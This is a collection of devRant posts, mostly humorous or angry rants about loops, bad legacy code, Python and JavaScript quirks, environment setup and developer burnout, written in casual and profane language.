If your code doesn't access global variables or shared closure variables, or your promises only deal with their provided inputs without side-effects, then no contention will *ever* occur.
If you only read and never modify globals, no contention will ever occur.
Are you seeing the same trend I'm seeing?
Good JavaScript programming practices miraculously coincide with the best practices of thread-safety.
When someone says we shouldn't use multithreading because it's hard, do you know what I like to say to that?
"To multithread, you need a pair."18 -
GF: Honey... What is that thing called... It's like a neverending if statement...
Me: ... A while loop?
GF: YEAH!! It's a while loop in the brain!2 -
Is it just me or does this shirt make no sense? If your coffee was empty, then it would return true and you would keep coding. If it was not empty you would fill it.
Plus it's not a while loop, so unless this is some sort of recursion you wouldn't keep going....4 -
A few years back I worked at a company as their front-end web developer with one other guy who was their "back-end" developer. PHP and MySQL specifically. He was eventually fired and I took over both development roles. When I got around to seeing his source code and the way he had created the databases, I immediately saw why he was fired. This guy did not understand the concept of loops. Instead of separating out tags and categories with a split / loop, he set up database tables for EVERY. SINGLE. TAG.
i.e. tag_1, tag_2, tag_3, etc. And then to top ot off, instead of looping through the tables, he set up huge conditioks for EVER.LY. SINGLE. TAG.
i.e. if(tag_1) else(tag_2) else(tag_3) etc.
That fucking guy...6 -
If programmers became musicians we would see
- Wake me up when my build ends, 21 cores, Boulevard of broken CI pipelines by Blue Screen Day
- Smoke from my cabinet by Deep For-Loop
- This is how you debug me by Loopback
- Post-release rhapsody by debug queen
- Another bug in the code by Programmer Floyd
- Smells like bad code by Coders from Botswana
- A place for my code, Cure for the bug by Likin to code at dark
etc etc..5 -
First rant: but I'm so triggered and everyone needs a break from all the EU and PC rants.
It's time to defend JavaScript. That's right, the best frikin language in the universe.
Features:
incredible async code (await/async)
universal support on almost everything connected to the internet
runs on almost all platforms including natively
dynamically interpreted but also internally compiled (like Perl)
gave birth to JSON (you're welcome ppl who remember that the X in AJAX stood for XML)
All these people ranting about JS don't understand that JS isn't frikin magic. It does what it needs to do well.
If you're using it for compute-heavy machine learning, or to maintain a 100k LOC project without Typescript, then why'd you shoot yourself in the foot?
As a proud JS developer I gotta scroll through all these posts gushing over the other languages. Why does nobody rant about using Python for bitcoin mining or Erlang to create a media player?
Cuz if you use the wrong tool for the right job, it's of course gonna blow up in your face.
For example, there was a post claiming JS developers were "scared" of multithreading and only stick in their comfort zone. Like WTF when NodeJS came out everything was multithreaded. It took some brave developers to step out of the comfort zone to embrace the event loop.
For a web app, things like PHP and Node should only be doing light transforms between the database information and HTML anyways. You get one thread to handle the server because you're keeping other threads open to interface with databases and the filesystem. The Nexus.js dev ranting on all us JS devs and doesn't realize that nobody's actual web server is CPU bound because of writing HTML bodies, thats why we only use 1 thread. We use other worker threads to do the heavy lifting (yes there is a C++ bridge look it up)
Anyways TL;DR plz respect JS developers we're people too. ES7 is magic and please don't shit on ES3 or we'll start shitting on the Python 2-3 conversion (need to maintain an outdated binary just cuz people leave out ()'s in their print statements)
Or at least agree that VB.NET is an abomination and insult to the beauty that is TI-84 BASIC13 -
EEEEEEEEEEEE Some fAcking languages!! Actually barfs while using this trashdump!
The gist: new job, position required adv C# knowledge (like f yea, one of my fav languages), we are working with RPA (using software robots to automate stuff), and we are using some new robot still in beta phase, but robot has its own prog lang.
The problem:
- this language is kind of like ASM (i think so, I'm venting here, it's ASM OK), with syntax that burns your eyes
- no function return values, but I can live with that, at least they have some sort of functions
- emojies for identifiers (like php's $var, but they only aim for shitty features so you use a heart.. ♥var)
- only jump and jumpif for control flow
- no foopin variable scopes at all (if you run multiple scripts at the same time they even share variables *pukes*)
- weird alt characters everywhere. define strings with regular quotes? nah let's be [some mental illness] and use prime quotes (‴ U+2034), and like ⟦ ⟧ for array indexing, but only sometimes!
- super slow interpreter, ex a regular loop to count to 10 (using jumps because yea no actual loops) takes more than 20 seconds to execute, approx 700ms to run 1 code row.
- it supports c# snippets (defined with these stupid characters: ⊂ ⊃) and I guess that's the only c# I get to write with this job :^}
- on top of that, outdated documentation, because yea it's beta, but so crappin tedious with this trail n error to check how every feature works
The question: why in the living fartfaces yolk would you even make a new language when it's so easy nowadays to embed compilers!?! the robot is apparently made in c#, so it should be no funcking problem at all to add a damn lua compiler or something. having a tcp api would even be easier got dammit!!! And what in the world made our company think this robot was a plausible choice?! Did they do a full fubbing analysis of the different software robots out there and accidentally sorted by ease of use in reverse order?? 'cause that's the only explanation i can imagine
Frillin stupid shitpile of a language!!! AAAAAHHH
see the attached screenshot of production code we've developed at the company for reference.
Disclaimer: I do not stand responsible for any eventual headaches or gauged eyes caused by the named image.
(for those interested, the robot is G1ANT.Robot, https://beta.g1ant.com/)4 -
So Friday afternoon is always deployment time at my company. No sure why, but it always fucks us.
Anyways, last Friday, we had this lovely deployment that was missing a key piece. On Wednesday I had tested it, sent out an email(with screenshots) saying "yo, whoever wrote this, this feature is all fucked up." Management said they would handle it.
The response email. 1(out of 20) defects I sent in were not a defect but my error. No further response, so I assume the rest were being looked into.
In a call with bossman, my manager states that the feature is fixed, so I go to check it quickly before the deployment(on Friday).
THERE IS NO FUCKING CODE CHECK-IN. THE DEV BASTARD JUST SAID THAT MY USECASE WAS WRONG, SO MY ENTIRE EMAIL WAS INVALID.
I am currently working on Saturday, as the other guy refuses to see the problem! It is blatant, and I got 3 other people to reproduce to prove I am not crazy!
On top of that, the code makes me want to vomit! I write bad code. This is like a 3rd grader who doesn't know code copy-pasted from stack overflow! There is literally if(A) then B else if(!A) then B! And a for loop which does some shit, and the line after it closes has a second for loop that iterates over the same unaltered set! Why?! On top of that, the second for loop loops until "i" is equal to length-1, then does something! Why loop???
The smartest part of him ran down his Mama's leg when it saw the DNA dad was contributing!
Don't know who is the culprit, and if you happen to see this, I am pissed. I am working on Saturday because you can't check your code or you lied on your resume to get this job, as you are not qualified! Fuck you!15 -
Recently wrote a script that would check 2 years worth of images, crop them, and resize to different sizes as changes to front end required those.
Eventually the script went into an infinite loop and crashed the whole CMS.
The worst part was that my manager was on a date and I had to call him back into office, since his laptop was still at the office.
The actual problem wasn't the loop.. I forgot to check if file actually exists before cropping... Error log size was 10gb!1 -
We have an API available for our customers to integrate our software with their Webshop.
A client and their developer complained because not all of the products came through. I checked the products, the validation, the parameters, the database .. everything looked fine and I was scratching my head why these articles wouldn't come through (but it did work at my end).
After some time, I checked the request logs..
Apparently it wasn't quite clear for them that a loop is required with the 'skip' and 'take' parameters to create an offset for pagination.They only synchronised the first 500 products.. everytime..
We have a limit of 500 products per batch (take) for performance reasons.
They asked if we could increase this limit, because they have "a large range of products" (not really, only 800 or so and we have clients with more than 2mil. products..) Oh pls.. I've sent them a link to the PHP manual for a basic 'while' loop..2 -
Another project with legacy code got just dusted off at work. Shits fucked beyond recognition! We got:
- Rando variable names that mean nothing
- Timers running with a cycle time of 2.5ms if you start them with the multiplier 1.
- An Interrupt routine thats 300 lines long.
- Another interrupt thats starting an ADC conversion and waiting for it to complete before returning.
- For loops that start with one and subtract one from the iterator in the loop
- Every value that would normally be expressed as a regular number is written down in Hex. Eg: if(val==0x05)
- State machine built without writing down which state is which. Its just a number. (In hex obviously!)
- All running on a Microcontroller you cant debug on.
- Using a compiler no one has ever heard of before.
- Weird ass Port manipulations
- 15 different .hex and .elf files with no clue whats in them.
- No version control
- We tried explaining the code to a monkey and it hanged itself.10 -
Well, it finally happened.
After 25 years coding in all types of languages and environments, I’m no longer having fun.
It now seems like it’s a fight to get interested in the code. I used to be something that I would spend hours / days doing. Now I just want to walk away from the code.
Is it true (do you think) that after a while all you see is a for loop, an if statement, a null check and you just think to yourself. Fuck this! Because I think I’m there.
God it’s depressing to think that I no longer find it fun.4 -
Wow i must have been brain dead when i wrote this code. Needed to exclude certain elements from response for the the list of objects.
for (obj : objects) {
If (obj.skipFromResponse()) {
break
}
add obj to response
}
I used break instead of continue at the if condition which meant it would break out of the loop at the first instance of condition being met.
This went through qa and has been in production for 4 weeks so how did this not break before. Well little did i know the list of objects was sorted and all the test data, qa data and everything so far in production coincidentally only had the last element with matching condition. This meant it returned everything correctly so far.
Today was the first time there was a situation where this caused incorrect output. Luckily as soon as I heard the description of the issue I remembered to check the merged PR and hung my head in shame for making such trivial error. I must have written way more complicated code without any problem but this made me embarrassed to even admit. 🤦♂️4 -
LPT: NEVER accept a freelance job without looking at the project's source first
Client: I have a project made by a company that is now abandoning it, I want you to fix some bugs
Me: Okay, can you:
1) Give me a build to test the current state of the game
2) Tell me what the bugs are
3) Show me the source
4) Tell me your budget
Client: *sends a list of 10 bugs* Here's the APK and to give you the project I'll need you to sign an NDA
Me: Sure...
*tests build*
*sees at least 20 bugs*
*still downloading source*
*bugs look quite easy to fix should be done under an hour*
Me: Okay, so, I can fix each bug for $10 and I can do 2 today
Client: Okay can you fix 8 bugs today for $40??
*sigh*
Me: No I cannot.
Client: okay then 2 today for $20 is fine, I want a refund if you can't fix them today
*sigh*
Me: Look dude, this isn't the first time I am doing this, aight? I'll fix the bugs today you can pay me after check they are done, savvy?
Client: okay
*source is downloaded*
*literal apes wrote the scripts, commented out code EVERYWHERE
Debug logs after every line printing every frame causing FPS drops, empty objects in the scene
multiple unused UI objects
everything is spaghetti*
*give up, after 2 hours of hell*
*tfw averted an order cancellation by not taking the order and telling client that they can pay me after I am done*
Attached is an image of a level object pool
It's an array with each element representing a level.
The numbers and "Final" are ids for objects in an object pool
The whole string is .Split(',') into an array (RIP MEMORY BTW) and then a loop goes through each element in the split array and instantiates the object from an object pool5 -
Me: yo DEV2 parse this string into a hashmap. Use regex, 2 rows of code are enough for the job
DEV2: implemented 40 rows of switch/if cases into nested for loop.
Please kill me 🔫🔫🔫🔫🔫🔫🇮🇹3 -
I used to prefer, think, and code in loops rather recursion.
Now though somehow it's the other way around...
And I have to assure myself why a piece of code I wrote won't cause a Stack overflow... and that if I really had to I could convert it back to a loop.
Haven't done it though for a awhile tho...7 -
Honestly, nothing kills your brain cells faster than doing the same repetitive tasks at work, day in and day out. It’s like I'm just on autopilot—pushing buttons, running scripts, rinse, repeat. At some point, I start wondering if I’m a dev or just a glorified robot.
And to keep my sanity intact? Competitive programming. Yeah, that’s how I free my mind—throwing myself into algorithmic problems during my break time, just to remind myself that there’s more to life than the mundane loop of tasks at work. I’ll take an NP-hard problem over this any day. At least that makes me think.6 -
Anyone else developed a habit to structure verbal allday Argumentations in your head in Code syntax? Helps me alot to follow ones logic. Except when I'm arguing with my girlfriend. Sometimes setMood(angry) gets randomly called (bug?) and then every if statement seems to be valid, eventhough it should return false. An inputstream that contains my outputstream is initialized but .readLine() is never being called. Instead, the outputstream to my inputstream is being overly abused. Once we get dive deeper into our if-statement we will find a while loop with a mysterious flag. Noone knows it's origin. The while loop keeps printing out random concatenated strings until it overflows your own capacity. I would have said its while(true) but in fact there must be a timer in another very hidden thread or something that sets our flag to false. The other and only way I know to exit that loop is to call apology() 100 times (maybe a variable sets the boolean that could be deeply buried in her projectstructure like this CONST.VALUES.getMood().getRealMood().getTrueMood().TRUTHCONTAINER.angryMode=true)..
I wish I could get a stressball so I can continue theorycrafting and debugging. Its 4.30 am now, my better side is snoozing next to me. I bet making this a pseudocode would be fun.
Ps: I love my lady but I had to rent3 -
Being a programmer in a scientific discipline can be infuriating.
using "no one" ="almost no one"
using everyone = "almost everyone"
1. No one knows what even the very idea of good practice is. And everyone refuses to learn. 3k lines of repetitive copy pasted main. 500 lines of plotting method.
2. Raw C-style pointer based array creation. Won't use develope array libraries because what if development stops. FUCKING HAVE YOU SEEN YOUR CODE WHAT IF DEVELOPMENT ON YOUR CODE STOPS. FUCK.
3. LOOP VARIABLES DECLARED AT THE BEGINNING OF THE METHOD WHY.
4. Everyone wants to make modular, independent code. No one wants to use OOP. NOPE. ALL IN ONE FILE. WRITE C++ LIKE A FUCKING PYTHON NOTEBOOK. FUCK.
5. LIBRARIES OH MY GOD PLEASE DO NOT CODE UP YOUR MATRIX MULTIPLICATION. PLEASE DO NOT TRIPLE LOOP IT. NO. THE LINEAR ALGEBRA LIBRARY WILL STAY IN DEVELOPMENT.
6. Please realize that literally not one comment over an 1800 line file does not help anyone.
FUCKING. WHY. WHY ARE WE SCIENTISTS SO GOOD AT SCIENCE AND SO FUCKING SHIT AT THE CODE THAT MAKES OUR SCIENCE HAPPEN. WHY. FUCKING. WHY. FUCK.undefined rage no comments scientific computing fuck this shit wall of text bad code science fuck c++ fucking4 -
Why do viedo tutorials always assume that one doesn't know anything about programming?
If I am looking up a framework or library there's a good chance I know what a for loop is, and even if I didn't it's not the place to teach me 😒13 -
The worst part of being a dev
My social dilemma
In a fast paced world where the average human spends at least 6 hours a day with technology, deriving basic entertainment, pleasures and engaging in various activities.
Here we are the developers that have to engage with technology for longer hours for a living , having to keep up with deadlines, immersing our minds in complicated algorithms and then the endless possibilities of entertainment from the machine in so few human hours a day , you wonder how you’d get off, and to top it up, I personally work from home.
And then the dilemma of overcoming different suggestions from various parties in taking a break off, a break off to what you later ask yourself, thus creating the shadow of doubt, splitting the fragile programmer’s mind , trying to solve this imaginary puzzle, “this bug of the mind”.
Then the challenge often arises in creating a balance, telling yourself, just catching up with people with this same technology takes a whole day, or then again quitting my Job, but from my little experience of life, nobody likes a poor visitor, this is actually worse than a “bug” and as I bask in this quagmire, “a little voice in my head keeps singing keep doing what you love doing”.
Like an infinite loop of crazy, spiralling back to these machines, trying the find and fix the balance of normalcy. Always remembered the cool years of college tho, with so much people around and then again that was college.
An then the thought arises, maybe something else might be worth doing, but after so much time spent in building your skills and the enormous joy of programming even typing without looking at the keyboard is a real pleasure, and yeah sure the days are short with the reality of a constant need to survive, remain sane, compete and make the best of life in such short time.
Then how do we know if we have fallen off the so-called “social track”, when we have only lived so little to really comprehend the most parts of life? with such constant stream of unanswered question, you’d realise you shouldn’t have burdened the mind creating such questions in the first place
But then again maybe it gets better, one of the above, the disturbed mind or the situation as whole and yes I try oh I try, I place calls, do some visiting, no relationship tho but with a good perspective in mind.
In this race of life, you sometimes ask yourself would you rather be in a different position, or maybe already put exactly where we belong. For this illusionary fight with self is a fight with reality as a whole and true bliss comes from actually letting go as time and people pass you by.
And my greatest achievement to date aside family and my work is getting into the 1000 club on devRant.2 -
As we all know that yawning is contagious, so if we yawn standing in front of a mirror, does that mean we'll end up in an infinite loop 🤔🤔4
-
Today on "How the Fuck is Python a Real Language?": Lambda functions and other dumb Python syntax.
Lambda functions are generally passed as callbacks, e.g. "myFunc(a, b, lambda c, d: c + d)". Note that the comma between c and d is somehow on a completely different level than the comma between a and b, even though they're both within the same brackets, because instead of using something like, say, universally agreed-upon grouping symbols to visually group the lambda function arguments together, Python groups them using a reserved keyword on one end, and two little dots on the other end. Like yeah, that's easy to notice among 10 other variable and argument names. But Python couldn't really do any better, because "myFunc(a, b, (c, d): c + d)" would be even less readable and prone to typos given how fucked up Python's use of brackets already is.
And while I'm on the topic of dumb Python syntax, let's look at the switch, um, match statements. For a long time, people behind Python argued that a bunch of elif statements with the same fucking conditions (e.g. x == 1, x == 2, x == 3, ...) are more readable than a standard switch statement, but then in Python 3.10 (released only 1 year ago), they finally came to their senses and added match and case keywords to implement pattern matching. Except they managed to fuck up yet again; instead of a normal "default:" statement, the default statement is denoted by "case _:". Because somehow, everywhere else in the code _ behaves as a normal variable name, but in match statement it instead means "ignore the value in this place". For example, "match myVar:" and "case [first, *rest]:" will behave exactly like "[first, *rest] = myVar" as long as myVar is a list with one or more elements, but "case [_, *rest]:" won't assign the first element from the list to anything, even though "[_, *rest] = myVar" will assign it to _. Because fuck consistency, that's why.
And why the fuck is there no fallthrough? Wouldn't it make perfect sense to write
case ('rgb', r, g, b):
case ('argb', _, r, g, b):
case ('rgba', r, g, b, _):
case ('bgr', b, g, r):
case ('abgr', _, b, g, r):
case ('bgra', b, g, r, _):
and then, you know, handle r, g, and b values in the same fucking block of code? Pretty sure that would be more readable than having to write "handeRGB(r, g, b)" 6 fucking times depending on the input format. Oh, and never mind that Python already has a "break" keyword.
Speaking of the "break" keyword, if you try to use it outside of a loop, you get an error "'break' outside loop". However, there's also the "continue" keyword, and if you try to use it outside of a loop, you get an error "'continue' not properly in loop". Why the fuck are there two completely different error messages for that? Does it mean there exists some weird improper syntax to use "continue" inside of a loop? Or is it just another inconsistent Python bullshit where until Python 3.8 you couldn't use "continue" inside the "finally:" block (but you could always use "break", even though it does essentially the same thing, just branching to a different point).19 -
I'm intentionally resigning from my remote software development job to teach my company a lesson. The guy who wrote the codes previously really knew how to cook spaghetti 😀😂.
To add a single line takes minutes, because when you do something else breaks, and you'll keep fixing what breaks when you tried fixing what breaks when you try fixing what..... endless loop of bug-fix cycle.
Now they blame it on me.
They won't understand if they don't get someone new, my reputation will fix itself through that..
My first opinion after sighting the codes was, "re-write the whole project using better patterns and architecture", the reply as you can guess, we'll do that later.
I couldn't even upgrade the server to use even PHP 7.1 because the framework breaks, the guy has editted a lot from the vendors files. Don't ever try composer updates.
Two word to describes the situation. "It sucks".
The previous developer needs to be shot, literally.7 -
Follow-up to my previous story: https://devrant.com/rants/1969484/...
If this seems to long to read, skip to the parts that interest you.
~ Background ~
Maybe you know TeamSpeak, it's basically a program to talk with other people on servers. In TeamSpeak you can generate identities, every identity has a security level. On your server you can set a minimum security level you need to connect. Upgrading the security level takes longer as the level goes up.
~ Technical background ~
The security level is computed by doing this:
SHA1(public_key + offset)
Where public_key is your public key in Base64 and offset is an 8 Byte unsigned long. Offset is incremented and the whole thing is hashed again. The security level comes from the amount of Zero-Bits at the beginning of the resulting hash.
My plan was to use my GPU to do this, because I heared GPUs are good at hashing. And now, I got it to work.
~ How I did it ~
I am using a start offset of 0, create 255 Threads on my GPU (apparently more are not possible) and let them compute those hashes. Then I increment the offset in every thread by 255. The GPU also does the job of counting the Zero-Bits, when there are more than 30 Zero-Bits I print the amount plus the offset to the console.
~ The speed ~
Well, speed was the reason I started this. It's faster than my CPU for sure. It takes about 2 minutes and 40 seconds to compute 2.55 Billion hashes which comes down to ~16 Million hashes per second.
Is this speed an expected result, is it slow or fast? I don't know, but for my needs, it is fucking fast!
~ What I learned from this ~
I come from a Java background and just recently started C/C++/C#. Which means this was a pretty hard challenge, since OpenCL uses C99 (I think?). CUDA sadly didn't work on my machine because I have an unsupported GPU (NVIDIA GeForce GTX 1050 Ti). I learned not to execute an endless loop on my GPU, and so much more about C in general. Though it was small, it was an amazing project.1 -
Two big moments today:
1. Holy hell, how did I ever get on without a proper debugger? Was debugging some old code by eye (following along and keeping track mentally, of what the variables should be and what each step did). That didn't work because the code isn't intuitive. Tried the print() method, old reliable as it were. Kinda worked but didn't give me enough fine-grain control.
Bit the bullet and installed Wing IDE for python. And bam, it hit me. How did I ever live without step-through, and breakpoints before now?
2. Remember that non-sieve prime generator I wrote a while back? (well maybe some of you do). The one that generated quasi lucas carmichael (QLC) numbers? Well thats what I managed to debug. I figured out why it wasn't working. Last time I released it, I included two core methods, genprimes() and nextPrime(). The first generates a list of primes accurately, up to some n, and only needs a small handful of QLC numbers filtered out after the fact (because the set of primes generated and the set of QLC numbers overlap. Well I think they call it an embedding, as in QLC is included in the series generated by genprimes, but not the converse, but I digress).
nextPrime() was supposed to take any arbitrary n above zero, and accurately return the nearest prime number above the argument. But for some reason when it started, it would return 2,3,5,6...but genprimes() would work fine for some reason.
So genprimes loops over an index, i, and tests it for primality. It begins by entering the loop, and doing "result = gffi(i)".
This calls into something a function that runs four tests on the argument passed to it. I won't go into detail here about what those are because I don't even remember how I came up with them (I'll make a separate post when the code is fully fixed).
If the number fails any of these tests then gffi would just return the value of i that was passed to it, unaltered. Otherwise, if it did pass all of them, it would return i+1.
And once back in genPrimes() we would check if the variable 'result' was greater than the loop index. And if it was, then it was either prime (comparatively plentiful) or a QLC number (comparatively rare)--these two types and no others.
nextPrime() was only taking n, and didn't have this index to compare to, so the prior steps in genprimes were acting as a filter that nextPrime() didn't have, while internally gffi() was returning not only primes, and QLCs, but also plenty of composite numbers.
Now *why* that last step in genPrimes() was filtering out all the composites, idk.
But now that I understand whats going on I can fix it and hypothetically it should be possible to enter a positive n of any size, and without additional primality checks (such as is done with sieves, where you have to check off multiples of n), get the nearest prime numbers. Of course I'm not familiar enough with prime number generation to know if thats an achievement or worthwhile mentioning, so if anyone *is* familiar, and how something like that holds up compared to other linear generators (O(n)?), I'd be interested to hear about it.
I also am working on filtering out the intersection of the sets (QLC numbers), which I'm pretty sure I figured out how to incorporate into the prime generator itself.
I also think it may be possible to generator primes even faster, using the carmichael numbers or related set--or even derive a function that maps one set of upper-and-lower bounds around a semiprime, and map those same bounds to carmichael numbers that act as the upper and lower bound numbers on the factors of a semiprime.
Meanwhile I'm also looking into testing the prime generator on a larger set of numbers (to make sure it doesn't fail at large values of n) and so I'm looking for more computing power if anyone has it on hand, or is willing to test it at sufficiently large bit lengths (512, 1024, etc).
Lastly, the earlier work I posted (linked below), I realized could be applied with ECM to greatly reduce the smallest factor of a large number.
If ECM, being one of the best methods available, only handles 50-60 digit numbers, & your factors are 70+ digits, then being able to transform your semiprime product into another product tree thats non-semiprime, with factors that ARE in range of ECM, and which *does* contain either of the original factors, means products that *were not* formally factorable by ECM, *could* be now.
That wouldn't have been possible though withput enormous help from many others such as hitko who took the time to explain the solution was a form of modular exponentiation, Fast-Nop who contributed on other threads, Voxera who did as well, and support from Scor in particular, and many others.
Thank you all. And more to come.
Links mentioned (because DR wouldn't accept them as they were):
https://pastebin.com/MWechZj912 -
If you're making a game, dont start by thinking about your inventory system. Start by thinking about what you want your player to be able to DO, the cost of those things, and the constraints.
For example, ages of empires didnt have you worrying about unit equipment at all. every villager could do almost any job. while survival games, especially survival horror, like the recent RE remake, severly restrict inventory and stack sizes to make resource managenent more important.
Games like Fallout had list based inventories because lists are cheap, and it allowed a tighter interaction loop. players would loot. go into inventory. close container, onto the next container, keeping the player in the exploration loop longer. neoscav did the opposite *for effect* harkening back to diablo, but taken to the nth degree: *everything*, actions, combat, exploration, character design, all based on an inventory-style grid.
while games like rimworld and dwarf fortress have your inventory represented by zones where items are physically *stored* in stacks on the ground, extending the concept of base management to resource management through physical layout and build optimization.
its important to think about what kind of actions you want players to be able to do, and the kinds of challenges and constraints you want on them at each point of the game and each mechanic they engage in.
other examples, though terrible, include fortnite, where the limitations of competitive play had inventory limited to a resource system and a hotbar. while earlier battle royale and sandboxs games like rust and battleground induced tension by combining loot mechanics and grid inventories with the constant danger of competing players, allowing them to have richer inventory systems at the risk of frusterating players who frequently died while managing their inventory. meanwhile in overwatch, notice how the HUD changes to best represent the abilities of each character.
all in all it is better to stop thinking of inventory systems as a means to an end, and instead as the end representation of desired mechanics, or artificially selected representations for particular effects.
this applies likewise to ui and ux in general. because the design of interface is fundementally about the design of *interactions*, and what you want to enable a user or customer to *do* will ultimately drive those interactions.6 -
Running a fucking conda environment on windows (an update environment from the previous one that I normally use) gets to be a fucking pain in the fucking ass for no fucking reason.
First: Generate a new conda environment, for FUCKING SHITS AND GIGGLES, DO NOT SPECIFY THE PYTHON VERSION, just to see compatibility, this was an experiment, expected to fail.
Install tensorflow on said environment: It does not fucking work, not detecting cuda, the only requirement? To have the cuda dependencies installed, modified, and inside of the system path, check done, it works on 4 other fucking environments, so why not this one.
Still doesn't work, google around and found some thread on github (the errors) that has a way to fix it, do it that way, fucking magic, shit is fixed.
Very well, tensorflow is installed and detecting cuda, no biggie. HAD TO SWITCH TO PYHTHON 3,8 BECAUSE 3.9 WAS GIVING ISSUES FOR SOME UNKNOWN FUCKING REASON
Ok no problem, done.
Install jupyter lab, for which the first in all other 4 environments it works. Guess what a fuckload of errors upon executing the import of tensorflow. They go on a loop that does not fucking end.
The error: imPoRT eRrOr thE Dll waS noT loAdeD
Ok, fucking which one? who fucking knows.
I FUCKING HATE that the main language for this fucking bullshit is python. I guess the benefits of the repl, I do, but the python repl is fucking HORSESHIT compared to the one you get on: Lisp, Ruby and fucking even NODE in which error messages are still more fucking intelligent than those of fucking bullshit ass Python.
Personally? I am betting on Julia devising a smarter environment, it is a better language already, on a second note: If you are worried about A.I taking your job, don't, it requires a team of fucktards working around common basic system administration tasks to get this bullshit running in the first place.
My dream? Julia or Scala (fuck you) for a primary language in machine learning and AI, in which entire environments, with aaaaaaaaaall of the required dlls and dependencies can be downloaded and installed upon can just fucking run. A single directory structure in which shit just fucking works (reason why I like live environments like Smalltalk, but fuck you on that too) and just run your projects from there, without setting a bunch of bullshit from environment variables, cuda dlls installation phases and what not. Something that JUST FUCKING WORKS.
I.....fucking.....HATE the level of system administration required to run fucking anything nowadays, the reason why we had to create shit like devops jobs, for the sad fuckers that have to figure out environment configurations on a box just to run software.
Fuck me man development turned to shit, this is why go mod, node npm, php composer strict folder structure pipelines were created. Bitch all you want about npm, but if I can create a node_modules setting with all of the required dlls to run a project, even if this bitch weights 2.5GB for a project structure you bet your fucking ass that I would.
"YOU JUST DON'T KNOW WHAT YOU ARE DOING" YES I FUCKING DO and I will get this bullshit fixed, I will get it running just like I did the other 4 environments that I fucking use, for different versions of cuda and python and the dependency circle jerk BULLSHIT that I have to manage. But this "follow the guide and it will work, except when it does not and you are looking into obscure github errors" bullshit just takes away from valuable project time when you have a small dedicated group of developers and no sys admin or devops mastermind to resort to.
I have successfully deployed:
Java
Golang
Clojure
Python
Node
PHP
VB/C# .NET
C++
Rails
Django
Projects, and every single fucking time (save for .net, that shit just fucking works on a dedicated windows IIS server) the shit will not work with x..nT reasons. It fucking obliterates me how fucking annoying this bullshit is. And the reason why the ENTIRE FUCKING FIELD of computer science and software engineering is so fucking flawed.
But we can't all just run to simple windows bs in which we have documentation for everything. We have to spend countless hours on fucking Linux figuring shit out (fuck you also, I have been using Linux since I was 18, I am 30 now) for which graphical drivers for machine learning, cuda and whatTheFuckNot require all sorts of sys admin gymnasts to be used.
Y'all fucked up a long time ago. Smalltalk provided an all in one, easily rollable back to previous images, easily administered interfaces for this fileFuckery bullshit, and even though the JVM and the .NET environments did their best to hold shit down, and even though we had npm packages pulling the universe inside, or gomod compiling shit into one place NOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO we had to do whatever the fuck we wanted to feel l337 and wanted.
Fuck all of you, fuck this field, fuck setting boxes for ML/AI and fuck every single OS in existence2 -
my code went into an infinite loop of printing "fuck". that happens when u forget to put curly braces and the first line after the if statement is printf("fuck\n");6
-
Fucking professors, they think could play ping pong with students. I started my thesis on ransomware but these meaningless biological creatures who is my relator sent me to another one who sent me to another one who sent me to the first professor. After almost three weeks I have nothing done so i switched professor and thesis argument to neural networks (TensorFlow, Theano, Keras, Caffe and other) and now they wants me back and one of them said that he is offended. Fucking retarded, I have to graduate and I'm working hard to do it in september, if you were a little bit interested I could have collect some material to study in august sacrifing even the summer but you mock me, but rightly it's my career and my money, it doesn't care to you. You deserve to get stuck in an infinite loop of pian.4
-
Stress made me fall into old habits of instead of saying stop and letting my team now that I was falling apart (not realising it myself even) I just kept saying "Yes, I fix that." to every single request that was made in the project.
The closer we got to the deadline, the more I hyperfocused and ignored the signs. I just kept working. The last two days I didn't even sleep.
Of course the launch botched. I finally broke down and both my mind and my body have given up, since yesterday I'm in a mental feedback loop causing continuous anxiety attacks and migraines. I literally CAN'T do anything but trying to not go back into fight- or flight mode and remember to breathe.
I FINALLY made my project manager aware (something I should have done days ago) that I am incapacitated and now I am waiting for medication (Oxazepam) to be picked up at the pharmacy by my husband.
I almost literally worked myself into the ground.
I've been here before. Never again.
This is what happens if you don't listen to your mind and body and put up a white flag in time.11 -
int counter=0;
void loop()
{
if (counter>=10)
{
// nothing
}
else
{
Serial.println(counter);
counter++;
}
}
This is what I call bureaucracy3 -
Doing a python code review after working in Scala is all:
"Why the loop? Can you just put a function here and... oh yeah, right... python does not allow it. I could have written these 20 lines in 4 if was Scala"
Scala, stop spoiling me!!4 -
La me working on a new chrome extension:
- ok, this page has some hidden divs, I need to tell the extension to make windows scroll to the bottom while there are still elements with a hidden class
- creates a while(1) loop with a condition inside it to break if no elements with hidden class are longer there.
- happy with the code
- uploads the extension
- goes to page
- brings out developer tools
- goes to console
- clicks on extension on chrome
- right clicks the extension and then inspect
- ok here we go: la me click on button inside extension popup
- console shows some logs
- nice it's still looking.
.
.
.
- wait! Why is the page not scrolling ???
- looks at logs, WTF nothing changes in logs .....
- OMMMMG a infinite loop .... infinite loop inside chrome ....
- OMMMMMG my pc's gonna crash .
-stop please stop stop.
- wait! how do I stop this?
- tries CTRL+C ... nothing
- tries CTRL+Z ... nothing ...
.
.
.
.
Abort abort Aboooooort.
.
.
.
- Deletes extension from chrome.
-..... loop still running
- clicks on X to close Chrome.....
- not closing O_o
- Oh God, i need to do something before Chrome sucks all the RAM left.
- remembers the savior...
.
.
.
- Task Manager heeeelp me.
- opens Task manager
- chrome is consuming ~ 2 GB of RAM.
- WTF! Kills chrome.
Thanks for reading my lil adventure 😅5 -
Rant on anti devs.
I helped my friend crack a fairly simple hackerank. The questionnaire was basic JavaScript questions and little on CSS selectors nth child. The test is finished in half hour instead of 75 mins.
5 months later. He calls again and ask if he can get the question solutions (code snippets). I didn't have those but curious why he needed it. He says he wants to put that solutions to Github. So would look on resume. This is not even a project just code snippet with a for loop. He just wants any codebase to upload to his profile.
My ears are bleeding. It makes me sad that some people had to do Masters in computer science purely out of societal pressure. Just because software development is booming field a lot of folks who are not genuinely interested in development are being forced into the industry.6 -
